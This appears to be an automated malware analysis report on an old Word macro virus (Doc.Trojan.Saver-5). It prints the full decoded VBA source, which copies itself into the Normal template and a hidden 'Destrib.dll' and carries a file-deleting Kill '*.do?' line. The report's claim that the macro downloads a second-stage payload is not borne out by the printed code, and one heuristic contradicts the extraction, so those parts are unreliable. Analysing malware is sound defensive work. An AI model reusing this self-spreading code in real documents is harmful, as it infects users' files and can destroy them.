Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 38cdb0c62f84955d…

MALICIOUS

Office (OLE)

35.5 KB Created: 2001-12-12 08:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 23d0f9823f37160a88d7aed9a429b2d0 SHA-1: 35c3487d0d9904298def4b35f6c73d9be6ca91cb SHA-256: 38cdb0c62f84955d82e18a9576fbc6983ce8160d2dab81c634b634a02a4609a6
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Microsoft Word document containing VBA macros. The AutoOpen macro executes a Setup subroutine which appears to copy VBA project items to a DLL named 'Destrib.dll' in the Word application path, and also attempts to copy the macro code into the current document and the DLL. This behavior is indicative of a macro-based malware dropper, likely intended to download and execute a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Trojan.Saver-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Saver-5
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1873 bytes
SHA-256: defc2882b4acbc8e11584ceaa5c12e29d86efe0d09477ea001b94015abf01439
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Destrib"
Sub Setup()
Attribute Setup.VB_Description = "MS - Маздай!"
  Word.Options.VirusProtection = True
  On Error Resume Next
  
  zz = Word.ActiveDocument.FullName
  
  Application.OrganizerCopy Source:=zz, _
      Destination:=Normal.ThisDocument.FullName, Name:="Destrib", _
      Object:=wdOrganizerObjectProjectItems
      
  Application.OrganizerCopy Source:=Normal.ThisDocument.FullName, _
      Destination:=zz, Name:="Destrib", _
      Object:=wdOrganizerObjectProjectItems
      
  yy = Word.Application.Path + "\Destrib.dll"
  
  If (Dir(yy) = "") Then
    Application.Documents.Add
    Application.Documents(1).SaveAs (yy)
    Application.Documents(1).Close SaveChanges:=False
    Word.RecentFiles.Item(1).Delete
  End If
  
  
  Application.OrganizerCopy Source:=Normal.ThisDocument.FullName, _
      Destination:=yy, Name:="Destrib", _
      Object:=wdOrganizerObjectProjectItems
  Application.OrganizerCopy Source:=zz, _
      Destination:=yy, Name:="Destrib", _
      Object:=wdOrganizerObjectProjectItems
  Application.OrganizerCopy Source:=yy, _
      Destination:=zz, Name:="Destrib", _
      Object:=wdOrganizerObjectProjectItems
      
End Sub

Sub AutoOpen()
Attribute AutoOpen.VB_Description = "MS - Маздай!"
  Setup
  If Word.ActiveDocument.Name = "Destrib.dll" Then Word.ActiveDocument.Close
End Sub

Sub AutoClose()
Attribute AutoClose.VB_Description = "MS - Маздай!"
  If Word.ActiveDocument.Name <> "Destrib.dll" Then
    On Error Resume Next
    If Day(Date) = 33 Then Kill "*.do?"
  End If
End Sub

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